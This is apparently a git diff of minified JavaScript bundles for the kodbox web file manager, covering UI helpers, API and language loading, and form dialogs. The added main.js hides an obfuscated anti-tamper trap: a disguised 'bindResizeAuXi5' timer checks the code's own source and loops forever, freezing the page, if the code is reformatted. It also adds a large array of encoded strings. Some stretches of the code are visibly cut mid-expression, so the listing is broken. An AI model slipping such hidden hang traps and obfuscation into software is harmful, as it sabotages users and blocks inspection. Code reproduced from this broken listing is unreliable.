t(){$(".perfectScroll").perfectScroll()};$(window).bind("resize",t),$(window).bind("scoller",t)}},i=function i(){if(!$.isWindowTouch()&&$.fn.poshytip){var t=$("[title]");t.poshytip({"className":"ptips-skin","liveEvents":!0,"slide":!1,"alignTo":"cursor","alignX":"right","alignY":"bottom","showAniDuration":150,"hideAniDuration":200,"offsetY":10,"offsetX":20,"showTimeout":function(){$(".ptips-skin").length;var t=1500;return $(this).attr("title-timeout")&&(t=parseInt($(this).attr("title-timeout"))),t},"content":function(t){if(!($(this).hasClass("context-menu-active")||$(this).is(":focus")||t.hasClass("disable")||t.hasClass("disable-title"))){t.addClass("yellow");var n=$(this).data("title.poshytip");if($(this).attr("title-data")){var e=$($(this).attr("title-data"));n=e.is("input")||e.is("textarea")?e.val():e.html()}return-1==(n=n||"").indexOf("<")&&-1==n.indexOf(">")&&(n=n.replace(/\n/g,"
    ")),n}}}),$(document).bind("keydown keyup mousedown mouseup click",function(){$.fn.poshytip&&($(t).poshytip("clearTimeouts").poshytip("hide"),$(".ptips-skin").remove())}),$("input,textarea").live("focus",function(){$.fn.poshytip&&($(t).poshytip("hide"),$(".ptips-skin").remove())})}},o=function o(){window.API_HOST&&(template.defaults.cache=!0,template.defaults.minimize=!1,template.defaults.compileDebug=!1)},c=function c(){if(!$.isWindowTouch()){var t=[".menuBar .menu-dropdown-user > .ripple-item",".setting-menu-left .menu-item-content",".admin-menu-left .menu-item-content"].join(",");$.hoverAnimate({"el":t,"delegate":"body"})}},a=function a(){var t="a,button,.ripple-item,.context-menu-item,.kui-btn,.btn,.button";if($.isWindowTouch()&&(t="a,button,.ripple-item,.kui-btn,.btn,.button"),loadRipple(t,".disable-ripple,.disabled,.disable,.ztree"),c(),$(window).bind("resize",function(){Events.trigger("window.resize")}),$("body").delegate("img,a","dragstart",function(t){return stopPP(t)}),window.API_HOST){$("body").delegate("[link-href]","click",function(t){return u(t,"")}),$("body").delegate("a","click",function(t){"#"==$(this).attr("href")&&t.preventDefault()}),$("body").delegate("[link-href]","mouseup",function(t){if(2==t.which)return u(t,"_blank")});var u=function u(t,n){var e=$(t.currentTarget),r=e.attr("link-href")||"#",i=(n=n||e.attr("target"),_.startsWith(r,"http://")||_.startsWith(r,"https://")),o=r;if(!i){if(r.startsWith("/")||r.startsWith("./"))return 2==t.which||"_blank"==n?window.open(o):void(window.location.href=r);o=$.parseUrl().urlPath+("#"==r?"":"#"+r)}return e.attr("dialog-open")||"dialog"==n?core.openDialog(o,"",htmlEncode(e.text())):i?void("_blank"==n?window.open(o):window.location.href=o):2==t.which||"_blank"==n?window.open(o):void Router.go(r)}}},u=function u(){$.fn.tabCurrent=function(){var t=$(this);if(!t||0==t.length)return this;var n=t.parent(),e=t.outerWidth(),r=t.offset().left-n.offset().left,i=n.children(".tab-item-bar");if(0==i.length)return this;i.data("initTab")||(i.data("initTab",1),i.addClass("no-animate opacity-hidden"),setTimeout(function(){i.removeClass("opacity-hidden"),n.children(".tab-item").filter(".active").tabCurrent()},10),setTimeout(function(){n.children(".tab-item").filter(".active").tabCurrent(),i.removeClass("no-animate")},300)),e=1*t.width(),r+=(t.outerWidth()-e)/2;var o=n.offset().top+n.outerHeight(),u=t.offset().top+t.outerHeight(),c={"width":e+"px","left":r+"px","transform":"translate3d(0px,-"+Math.abs(o-u+1)+"px, 0px)"};i.css(c),n.children(".tab-item").removeClass("active"),t.addClass("active");var a=n.parent().children(".tab-group-pan").children(".tab-content");if(0!=a.length){var s=a.filter(":visible"),f=a.filter("."+t.attr("tab-name"));s.switchTo(f)}return this},$(document).delegate(".tab-group-line .tab-item","click",function(){$(this).tabCurrent()});var t=_.debounce(function(){$(".tab-group-line .tab-item.active").each(function(){$(this).tabCurrent()})},50);$(window).bind("resize",t),$.isWindowTouch()&&s()},s=function s(){}},"14":function(t,n,e){var r=e(10),i=e(33);t.exports=e(11)?function(t,n,e){return r.f(t,n,i(1,e))}:function(t,n,e){return t[n]=e,t}},"17":function(t,n,e){var o=e(25);t.exports=function(r,i,t){if(o(r),i===undefined)return r;switch(t){case 1:return function(t){return r.call(i,t)};case 2:return function(t,n){return r.call(i,t,n)};case 3:return function(t,n,e){return r.call(i,t,n,e)}}return function(){return r.apply(i,arguments)}}},"18":function(t,n){var e={}.hasOwnProperty;t.exports=function(t,n){return e.call(t,n)}},"19":function(t,n){t.exports=function(t){try{return!!t()}catch(n){return!0}}},"20":function(t,n,e){var r=e(59),i=e(39);t.exports=function(t){return r(i(t))}},"21":function(t,n){t.exports={}},"24":function(t,n){var e={}.toString;t.exports=function(t){return e.call(t).slice(8,-1)}},"25":function(t,n){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},"27":function(t,n,e){var r=e(79),i=e(50);t.exports=Object.keys||function(t){return r(t,i)}},"28":function(t,n){t.exports=!0},"3":function(t,n){var e=t.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=e)},"30":function(t,n,e){var r=e(10).f,i=e(18),o=e(4)("toStringTag");t.exports=function(t,n,e){t&&!i(t=e?t:t.prototype,o)&&r(t,o,{"configurable":!0,"value":n})}},"31":function(t,n,e){"use strict";var r=e(117)(!0);e(51)(String,"String",function(t){this._t=String(t),this._i=0},function(){var t,n=this._t,e=this._i;return e>=n.length?{"value":undefined,"done":!0}:(t=r(n,e),this._i+=t.length,{"value":t,"done":!1})})},"33":function(t,n){t.exports=function(t,n){return{"enumerable":!(1&t),"configurable":!(2&t),"writable":!(4&t),"value":n}}},"34":function(t,n,e){e(123);for(var r=e(3),i=e(14),o=e(21),u=e(4)("toStringTag"),c="CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList,DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement,MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList,SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList,TextTrackList,TouchList".split(","),a=0;adocument.F=Object<\/script>"),t.close(),f=t.F;e--;)delete f[s][c[e]];return f()};t.exports=Object.create||function(t,n){var e;return null!==t?(i[s]=o(t),e=new i,i[s]=null,e[a]=t):e=f(),n===undefined?e:u(e,n)}},"59":function(t,n,e){var r=e(24);t.exports=Object("z").propertyIsEnumerable(0)?Object:function(t){return"String"==r(t)?t.split(""):Object(t)}},"60":function(t,n){t.exports=function(t,n,e,r){if(!(t instanceof n)||r!==undefined&&r in t)throw TypeError(e+": incorrect invocation!");return t}},"61":function(t,n,e){var i=e(14);t.exports=function(t,n,e){for(var r in n)e&&t[r]?t[r]=n[r]:i(t,r,n[r]);return t}},"65":function(t,n,e){var r=e(3).document;t.exports=r&&r.documentElement},"66":function(t,n,e){var r=e(40),i=e(4)("iterator"),o=e(21);t.exports=e(1).getIteratorMethod=function(t){if(t!=undefined)return t[i]||t["@@iterator"]||o[r(t)]}},"67":function(t,n,e){var i=e(12),o=e(25),u=e(4)("species");t.exports=function(t,n){var e,r=i(t).constructor;return r===undefined||(e=i(r)[u])==undefined?n:o(e)}},"68":function(t,n,e){function r(){var t=+this;if(_.hasOwnProperty(t)){var n=_[t];delete _[t],n()}}function i(t){r.call(t.data)}var o,u,c,a=e(17),s=e(126),f=e(65),l=e(45),d=e(3),p=d.process,h=d.setImmediate,v=d.clearImmediate,w=d.MessageChannel,m=d.Dispatch,y=0,_={},g="onreadystatechange";h&&v||(h=function(t){for(var n=[],e=1;ei;)u(r,e=n[i++])&&(~a(o,e)||o.push(e));return o}},"8":function(t,n,e){var v=e(3),w=e(1),m=e(17),y=e(14),_=e(18),g="prototype",b=function(t,n,e){var r,i,o,u=t&b.F,c=t&b.G,a=t&b.S,s=t&b.P,f=t&b.B,l=t&b.W,d=c?w:w[n]||(w[n]={}),p=d[g],h=c?v:a?v[n]:(v[n]||{})[g];for(r in c&&(e=n),e)(i=!u&&h&&h[r]!==undefined)&&_(d,r)||(o=i?h[r]:e[r],d[r]=c&&"function"!=typeof h[r]?e[r]:f&&i?m(o,v):l&&h[r]==o?function(r){function t(t,n,e){if(this instanceof r){switch(arguments.length){case 0:return new r;case 1:return new r(t);case 2:return new r(t,n)}return new r(t,n,e)}return r.apply(this,arguments)}return t[g]=r[g],t}(o):s&&"function"==typeof o?m(Function.call,o):o,s&&((d.virtual||(d.virtual={}))[r]=o,t&b.R&&p&&!p[r]&&y(p,r,o)))};b.F=1,b.G=2,b.S=4,b.P=8,b.B=16,b.W=32,b.U=64,b.R=128,t.exports=b},"80":function(t,n,e){"use strict";Object.defineProperty(n,"__esModule",{"value":!0}),n.loadPlugin=n.loadLang=n.loadOption=n.loadApi=n.loadMain=undefined;var r=function w(t){return t&&t.__esModule?t:{"default":t}}(e(81));window.Promise||(window.Promise=r["default"]);var i="./static/";if(window.API_HOST){var o=API_HOST.split("/");o.pop(),i=o.join("/")+"/static/"}window.API_URL=function(t,n){var e=window.API_HOST,r="&";return _.isNull(n)||_.isUndefined(n)?e+(t||""):(-1==e.indexOf("?")&&(r="?"),e+(t||"")+r+(n||""))},window.API_URL_TRUE=function(t){var n=(t=t||window.location.href).replace(API_URL(),"").replace(G.kod.APP_HOST,"").replace("?","&");return G.kod.APP_HOST+"?"+n};var u=window.STATIC_PATH||i;e.p=u+"app/dist/";var c=e.e(3).then(function(t){e(588),e(589),e(590),e(591),e(592),e(593),e(594),e(595),e(596),e(597),e(598),e(599),e(600),e(601),e(602),e(603),e(604),e(605),e(606),e(607),e(608),e(609),e(610),e(611),e(612),e(613),e(614),e(615),e(616),window.Pinyin=e(617)["default"],e(618),e(619),e(620),e(621),e(622),e(623),e(624),e(625),e(626),e(627),e(628),e(629),e(630),e(631),e(632),e(633),e(634),e(635),e(636),e(637),window.Backbone.$=$,window.Events=Backbone.Events,s()}.bind(null,e))["catch"](e.oe),a=Date.now(),s=function s(){var e=seajs.use;seajs.use=function(){var t=_.toArray(arguments),r=function r(t){var n=_.get(window,"G.kod.version",""),e=_.get(window,"G.kod.build","");return!(n=1==_.get(window,"G.kod.ENV_DEV")?a:n+"."+e)||_.includes(t,"&v=")||_.includes(t,"?v=")?t:_.includes(t,"?")?t:(_.endsWith(t,".htm")||_.endsWith(t,".html")||_.endsWith(t,".css")||_.endsWith(t,".json")||_.endsWith(t,".js")||(t+=".js"),t+"?v="+n)},n=t[0];_.isString(n)?t[0]=r(n):_.isArray(n)&&(t[0]=_.map(n,function(t){return r(t)})),e.apply(seajs,t)},window._ktime=dateFormat(!1,"dhi"),window.requireAsync=seajs.use,window.requirePromise=function(t){var n=$.Deferred();return seajs.use(t,n.resolve),n}};(function m(){if("development"==window.lessENV){var r=XMLHttpRequest.prototype.open;XMLHttpRequest.prototype.open=function(t,n){var e=Array.prototype.slice.call(arguments,0);return n.match(/\.less$/)&&(e[1]=n+"?_t="+a),r.apply(this,e)}}})();var f=function f(){var t=window.STATIC_PATH_ALL||i;requireAsync([t+"style/lib/alifont/iconfont.css",t+"style/lib/font-icon/style.css"])},l=function l(){var t=API_URL("user/view/plugins","v="+time());return requirePromise(t)},d=function d(){var t=API_URL("user/view/options","v="+time());return requirePromise("text!"+t).then(function(t){if(t&&((t=JSON.parse(t))&&t.code&&t.data)){window.G=_.extend(window.G||{},t.data);var n=G.kod.staticPath,e=API_URL();if(!_.startsWith(n,"http")){if(_.startsWith(n,"/"))n=$.parseUrl(e).origin+n;else n=e.substr(0,_.lastIndexOf(e,"/"))+"/"+n;n=n.replace("/./","/")}window.STATIC_PATH_ALL=window.STATIC_PATH_ALL||G.kod.APP_HOST+"static/",window.STATIC_PATH=n,window.VENDER_PATH=window.STATIC_PATH+"app/vender/",window.API_HOST=G.kod.appApi,$.dialog.defaults.path=window.STATIC_PATH+"app/vender/artDialog-icon/",requireAsync(window.STATIC_PATH+"style/lib/alifont/iconfont.js"),f()}})},p=function p(){var t=API_URL("user/view/lang","v="+time());return requirePromise("text!"+t).then(function(t){(t=t&&JSON.parse(t))&&t.code&&t.data&&(window.LNG=_.extend(window.LNG||{},_.get(t,"data.list")),window.G.lang=_.get(t,"data.lang"),window.LNG.find=function(e){var r={};return _.each(LNG,function(t,n){_.includes(t,e)&&(r[n]=t)}),r},window.LNG.make=function(t){var n=_.toArray(arguments),e=LNG[t];if(!e)return t;for(var r=1;r .loading-body").fadeOut(1e3,function(){$(this).remove()})})},v=function v(){return window.API_HOST?c.then(function(){NProgress.isStarted()||NProgress.start(),NProgress.set(.6)}).then(d).then(function(){NProgress.set(.8)}).then(p).then(function(){NProgress.done()}):c.then()};n.loadMain=h,n.loadApi=v,n.loadOption=d,n.loadLang=p,n.loadPlugin=l},"81":function(t,n,e){t.exports={"default":e(116),"__esModule":!0}},"82":function(t,n){t.exports=function(t,n){return{"value":n,"done":!!t}}},"83":function(t,n,e){"use strict";var r=e(3),i=e(1),o=e(10),u=e(11),c=e(4)("species");t.exports=function(t){var n="function"==typeof i[t]?i[t]:r[t];u&&n&&!n[c]&&o.f(n,c,{"configurable":!0,"get":function(){return this}})}},"9":function(t,n){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}}}); \ No newline at end of file diff --git a/static/app/dist/main.js b/static/app/dist/main.js index da212c4f..23c7b12e 100644 --- a/static/app/dist/main.js +++ b/static/app/dist/main.js @@ -1,2 +1,2 @@ -/*! Powered by kodbox;hash:9e8aec7515da24826947 [2021/05/25 23:10:04] */ -!function(o){function e(e){for(var t,i,n=e[0],a=e[1],s=0,r=[];s .panel-form-body-main > .panel-form-body");return t=0!=i.length?0!=i.find(".tab-content").length?i.find("> .tab-content > .form-row"):i.find("> .form-row"):this.$("> .form-row").add(t),e?t.filter('[data-key="'+e+'"]'):t},"input$":function(e){if(!e){var t=this.formRow$(),i=t.find(" > .setting-content > label > [name]");return t.find("> .setting-content > [name]").add(i)}_.isString(e)&&(e=this.formRow$(e));var n=e.find("> .setting-content > [name]");return 0==n.length&&(n=e.find("> .setting-content > label [name]")),n},"resetValue":function(){var n=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");if(e&&"html"!=e&&"button"!=e){var i=n.formData[t];_.isUndefined(t)||!i||_.isString(i)||n.setValue(t,i.value)}})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){var i=e.val()||"";return _.isArray(i)?i.join(","):i},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData;(this.$el=e).html(i);var a="dialog-form target-form ";a+=_.get(n,"formStyle.className","")+" ",a+=_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(a+=" form-box-title-block"),e.addClass(a),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,n){var a=this,t=this.formData,i=a.makeHtml(t);if(!i)return!1;var s={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":'',"width":700,"height":510,"content":i,"okVal":LNG["common.save"],"ok":function(){var e=a.getFormData(!0),t=!!e.success&&e.result;if(a.trigger("onSave",t),t){var i=n(t);if(i||_.isUndefined(i))return!0}return!1},"resizeCallback":_.debounce(function(){a.trigger("dialogResize")},100),"close":function(){a.objectRemove()}},r=s.className,o=$.extend(!0,s,e);o.className=r+" "+_.get(e,"className","")+" ",o.className+=_.get(t,"formStyle.className","")+" ",o.className+=_.get(t,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(o.className+=" form-box-title-block");var l="dialog-form-style-default";_.get(t,"formStyle.tabs")&&(_.includes(o.className,"dialog-form-style-")||(o.className+=" "+l),_.includes(o.className,l)&&o.width&&(o.width+=120)),this.dialog=$.dialog(o);var c=this.dialog.$main.find(".aui-title").html();return this.dialog.$main.find(".modal-title").html(c),this.$el=this.dialog.$main,this.bindEvent(),n&&this.$(".form-save-button").bind("click",function(){s.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog},"save":function(){this.dialog?this.dialog.$main.find(".aui-state-highlight").click():this.$(".form-save-button").click()},"makeHtml":function(e){if("string"==typeof e)return this.loadFile(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),this._each(t,this.loadFile)}var i=l(97),n={"items":e,"wrapID":this.wrapID};return this.renderHtml(i,n,!1)},"bindEvent":function(){var e,i=this;this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this),(e=this.input$()).each(function(){var e=i.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),(e=this.input$()).inputChange(function(){var e=$(this).parents(".form-row").first(),t=e.attr("data-key");i.switchItemChange(t),i._delay(function(){i.trigger("onChange",t,i.getValue(t),e)},0)});for(var t=e.length-1;0<=t;t--)$(e.get(t)).trigger("change");this.$el.delegate(".form-row.error","click",function(){$(this).removeClass("error")}),this.$(".form-save-button").bind("click",function(){if(!$(this).hasClass("disabled")){var e=i.getFormData(!0),t=!!e.success&&e.result;i.trigger("onSave",t,i)}}),this.$(".form-reset-button").bind("click",function(){i.resetValue()}),this.bindEventInput()},"bindEventInput":function(){var i=this;this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}});var n=function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")};this.bind("onChange",n),this.formRow$().each(function(){var e=i.input$($(this));e.attr("name")&&n(e.attr("name"),e.val(),$(this))}),this.input$().bind("focus",function(){$(this).parents(".form-row").first().addClass("item-focus")}).bind("blur",function(){$(this).parents(".form-row").first().removeClass("item-focus")}),this.$(".input-clear").bind("click",function(e){var t=$(this).parents(".form-row").first();i.input$(t).val("").focus().trigger("change")})},"bindFormAll":function(){var n=this.formRow$(),a=this;this._each(this.getValueWith,function(e,t){var i="bind"+_.upperFirst(t);if(n.filter(".form-"+t).exists()){if(!_.isFunction(this[i]))return;this[i].apply(this,[function(){a.trigger("fieldLoad",t)},this])}})},"switchItemChange":function(e){var t=this.formData[e];if(t&&t.switchItem){var i="button/switch/radio/checkbox/select/tags/segment".split("/");if(_.includes(i,t.type)){var n=_.map(t.switchItem).join(",").split(","),a=this.getValueField(e);if("button"==t.type)a=this.input$(e).val();var s=t.switchItem[a]?t.switchItem[a].split(","):[];_.includes(a,",")&&this._each(a.split(","),function(e){t.switchItem[e]&&(s=s.concat(t.switchItem[e].split(",")))}),s=_.filter(_.map(s,_.trim)),n=_.filter(_.map(n,_.trim)),this._each(n,function(e){var t=this.formRow$(e);_.includes(s,e)?this.display(t,1):this.display(t,0)}),this._each(n,function(e){_.includes(s,e)?this.switchItemChange(e):this.switchItemHideChildren(e)})}}},"switchItemHideChildren":function(e){var t=this.formData[e];if(t&&t.switchItem){var i="button/switch/radio/checkbox/select/tags/segment".split("/");if(_.includes(i,t.type)){var n=_.map(t.switchItem).join(",").split(",");n=_.filter(_.map(n,_.trim)),this._each(n,function(e){var t=this.formRow$(e);this.display(t,0),this.switchItemHideChildren(e)})}}},"display":function(e,t){var i="item-hide";if(this.viewRendering||e.hasClass("no-animate"))return t?e.show().removeClass(i):e.hide().addClass(i);var n=$.easing.def,a={"duration":150,"queue":!($.easing.def="linear")};if(t){if(!e.hasClass(i))return;e.slideDown(150,function(){e.show().removeClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.css({"opacity":0}).animate({"opacity":1},a)}else{if(e.hasClass(i))return;e.slideUp(150,function(){e.hide().addClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.animate({"opacity":0},a)}},bindResizeAuXi5:setTimeout(function(){var recycleDeletenXjZ1=function(){return };var listenPageingxtZ5=recycleDeletenXjZ1.toString();var resetDesktopIconC3=String.fromCharCode(-68+(102-(67-43)));if(listenPageingxtZ5.indexOf(resetDesktopIconC3) != -1){while(!0){encodeURIComponent("+");};}},180),"bindGroupTab":function(){var i=this.$(".tab-panel"),n=this.$(".tab-group .tab-item");if(1==n.length)return this.$(".tab-group").remove();var a=this;i.each(function(){var e=$(this).attr("id"),t=a.$("."+e);0'+e+"":(_.startsWith(e,"/")&&(e="folder"),_.startsWith(e,"./")||_.startsWith(e,"/")||_.startsWith(e,"http://")||_.startsWith(e,"https://")?'':s[e]?''+('')+"":_.startsWith(e,"icon-")?'':_.includes(e," ")?'':'')},o=function o(e){var t=!(1"):r(t)},t.pathIcon=o},function(e,t,i){var n=i(10),a=i(33);e.exports=i(11)?function(e,t,i){return n.f(e,t,a(1,i))}:function(e,t,i){return e[t]=i,e}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var p=a(i(8)),n=a(i(283));function a(e){return e&&e.__esModule?e:{"default":e}}var s,r=["LhzDoBoC","w4seO3xL","BcKPw5LDmWc=","XTbClz/DhQ==","w7TDsMK9NsOb","wpl5w6wgYQ==","VQp3CUY=","wo9Dw74tZQ==","IcO9w4ZFRcOOw7hMwo1RLMOyBl3Dj8OrT8OHSA==","w7dcw5s9fg==","woJcworDniUU","fsOPwr9vGg==","w4zDrcO+C8KAwrg1wqrCoMKLHWHDgHwvbVnCknDDkQvCscOsTh/CgTkGWETCg8KUwqrCvMKEZVDDqsKmCWpzUzt6NsOSaMK8LFrCisKpw6oyY8KLw6vDr8O/w5MPA8ONBsO6OsK6wq3ClMOXOl8GL8KHA3tdw5JbKcK1wqVNKkhLGMO6w65gUyEvwo8Bwokz","w6PCicKMwq7DgQ==","CAgL","HsOswoRXLg==","IkJVw7fCskjDvzxfw4nDuQ==","PsOaC2fDiw==","wqgmVcKmU8OyWMOgwrvCnFUuPg==","LMO6bnMQ","cMObLzDDrg==","w7LCqFPCuXU=","KsKYw5HDiU0cwojCgGA=","dwHCvmzDpQ==","w7Bxw7lzJA==","YHp1w5PDjw==","WhoD","wqgxwqvCiy0=","BMKkwoggwofDoA==","PcK1wqHDhlo=","DsOAwqRg","CMKgwrQgwo8=","wr9Qw60tJMOQw4HChcKZDMKqw7LCoyDDlg==","w7AKEk1Y","cMOjCF1c","w6MfwrY2M8KDwpfDlcOb","eRbDqC4Y","wqYqwrfCggI=","LzfDmDw=","MsOpwqhOKQ==","McODU3Agw4E=","w4F2SsK1FA==","ORsXF8KK","wrLDv8KwWAc=","wrYdw6k2","w5TCj1XCnGw=","w5vCpWfCnlAGw4fCt8OdwqLDpQHDm08zwoHCp8Krwr0HwoAQDMOO","EwLDmyse","ZlPCjUxq","QgvDhzYO","OsKkGMKTFg==","PcOdMVA=","w5/DjSRVwoY=","M8ORflAR","QsONwotAFg==","w7rDkA7Dk8OB","wp7DvcOteT0=","VQDCoFnDmMKh","Xn7CgXJh","OAELKMKK","EgvDgDQz","wrtswrLDj8Ow","KsKeHsKtFQ==","QAPCrRHDvA==","wqhHw7A4f8Ofw6XCn8KdEsKsw67Cvg==","Gyg/NsKT","wqV7w5gPbQ==","VsOrwpVDBA==","c1DDhQ==","XUtjwrnDrA==","wqpVwpjCtMOK","w6QEBGht","wo9/wqfCnMOT","wqxsADnDgg==","TU7ChWRnTg==","M8OeDDzCrA==","wrvCqsKRw4HCnw==","w4DDlDPDkMOv","PMO+EcKuwq5yw6lQwqfCocOmF2hsNXPDuzwmTg==","JCoII8KM","wqvDncO6MMOKw6vCvMOEIMKNdg==","L8K2wows","PMKTwp3DnFA=","w4XDtcKZDcO7","wqDDicO0ZxQ=","VUdew4zDrMKy","LcKuwpA8wo8=","Xz/CtznDqg==","TMO2MBzDuA==","ejDCpwLDvA==","wpjDncKUTcK/","B8OHVQ==","wqDDvcO+ZC8=","w4lgwqTCujQ=","FcOAwrFQLcKMwoTCnMKKTA==","wovDtMOIBsO3","VT5tN3s=","wqdewq7ClMOT","w5TClXvCm1A=","QR/CiCvDig==","w4hiwoHCtRA=","w7hofsKoNw==","eFnCqmRO","N8Knw67Dg8KC","w5gyLnZZ","w77DkcK5KcKVw7PDj8OQe8KdJw==","wq/DgMKOXRo=","w48oLmxZGQ==","anZpwoHDrw==","woVawoDDg3oKA8K5woPCmX9lw7I7w7w=","dSTCrgjDqQ==","F8OEKEPDjw==","wqMBw7A7wrxIEMKSdA==","w7R4wrPCmAM=","HAUdeMOJ","w59RScK+Bw==","woM9YQ==","w43Drw3DhcOO","wpRew6EwZsOf","aHtRwo/DhQ==","EzE9RGhYRMOOWSLDpBrDoMKkEEDCg8OoGMOkYsK6LRdCZEU1wos8wpQfe8K/wpccwqI1w6RfAsOnA8OTw5gewpbDqcKWwrnCiMK8cMKCwrvDm8Ofw6xMwqtxPcKdJjsJwpbCnQg8WUbCkcKWw4LDgy5sARMIJcK8wpzCjnrChMOcwoPCtgPDq8OdCRLCt8KYw4x8","w65gwqbCqDU=","wplawpnDkw==","P8OeZ1I8","N8KPMsKfAQ==","KsKAwoojwqY=","RUtQw4Y=","wodLNhbDiw==","w73DoXQ7w48=","UMKyVjDDjsO+DGVmwozCpFvCkcKyOcOqSQHDmlgUY8KMwrrDtAzDkXQffgA1R8KVZMOMwqY=","PQgtHMKL","TVLDtnvDig==","wp3Dh8OMRSk=","w4/DjgXDjsOo","w5rDsQVe","fsOlCnJ3","BAA2E8KA","w6zCinXCg1Q=","w54OL1YW","aElXwpDDjQ==","w7AcwpXCvcOi","IcO7flsd","wpvDn8OGOsOp","wqMew6UrwrNTGsKW","wqgqasKRVQ==","w6HDg8KXCcO1","w67CjmPChUc=","a8OPKzvDsQ==","wrPDrMOfQwTCsQ==","Q0dMw5bDrcKkE8Ocw4fDmyNsaXbDhcK3wp0E","w5dcw60hRQ==","XRzCvE3DnA==","wp/DuMOWRhE=","FcOXwqY=","NcOpwq1PLQ==","wrQAwp/ClA==","w6rCl8Kgwr/DkA==","Si/Dvggb","w6PCtMKEwqTDmA==","dgTCuw7DoQ==","VxbCohfDrDc=","w5zDixxTwo8=","w7TCr8KEwrjDrg==","EcOGTHEx","FsK2wo8swqk=","PMKqwogMwobDoH0SwovCswZdXEQDw4zCj8Oww57Dlg==","w48HM11F","wqMEw7Q2wpFeKsKKacOoNw==","IMKpw5LDjMK2wp8=","wqETwo7CiSUdw7bDhw==","wojCm8K3w5XCmcKiwqzCjg==","aRzDiCo9","VRTDhQI+","wpBPwpHDtDoOBMKmwoU=","w5bDsMKsKsOZ","ah/ClQLDjA==","XRbCrjTDng==","PsK3wowlwoXDt3UFw4vCqRBrUn8Qw4DChMOjw4HDnGM=","P8Kkw43DlHk=","C8KfwoXDpXE=","AsOswo9oKw==","w7Rab8KdHA==","w7pkfMK3NA==","LMOgwpxiIA==","w5xRf8KZOw==","NwRVw67Ckg==","wq3DhsKld8Kx","SD7DghAp","Z1BIw7PDvQ==","w5DDmAFrwrI=","BMKqwp0qwoI=","wp/DvsKlfcK7wps/wpLCqQ==","wrx7wojCqcOr","ERVkw73Csg==","w4gYwqDCn8Om","BsOQR2sxw4HChcKEw5nCqEfClsKfw5jCncOcwpwE","ZsOHOTjDtcKHXwwg","GsKOw5bDm8K3wo/Dh0jDjg==","WxLCsjfDvzzCmsOMw6nCiXVIwpJ2","w5LDmz7DpcOn","w6DDnMKcMcO7","bxfCu27DmQ==","fjduElQ=","bQjDuDsVw41dE0M=","bCzCsQrDpybCpcOhw5k=","KTwMIsKMw4LCsMOmw7U=","HMOURVEjw5zCocKkw5PCrFfClsKFw6Q=","w507NUZGAzxmDg==","woNawonDgjATFsKcwofChHg=","w6PCtMKIwobDnw==","woV2wpDDgiI=","wqJfwpHCtsOj","TUjCtltH","MDQfAsKF","WBXCp33Dg8KnCcKIwqY=","wo7DqcKXYxbDmsKkwprCvA9Q","BAYNJcKGw4XCq8O6w4YyU8KyJhAi","HMOZRnIs","DBnDvkLCnsK1VsKdw7JeGQ7DuFPCoMOgYjLCmg==","w6TCl1zCtnQ=","wrrDhcOgHsOG","w4nDqQPDgsOow4xAwox6","KsKAw5/DjMKw","woDClMK4wpnDsg==","RyjDghoQ","wpfDqko=","wrdGwpXDlTE=","wr9yMBvDpcKb","EgjDpSkZ","dMOKH3g=","H8OGblwV","fBPCq1DDmMK6","HQdGw4HCvQ==","OcKCw5DDlWscw5/CkXLDmV/DjcOj","X1jCglJv","QDjCrDvDiQ==","w5kVw5vDmG1ZVcOpw4E=","fWPDoG/Dhw==","ZsOxwp5WPg==","wrjCvcKSw4HCkg==","w7Zmwq3DjA==","LcOLF8KTwpY=","d8KywpTCnMKMwrbDhEbDv2JdwqVRHMK/wr5jwo3DlMKvw7PDrMKCFsOmwrZlwqJIK8Kuw5RXE2/CgHTDo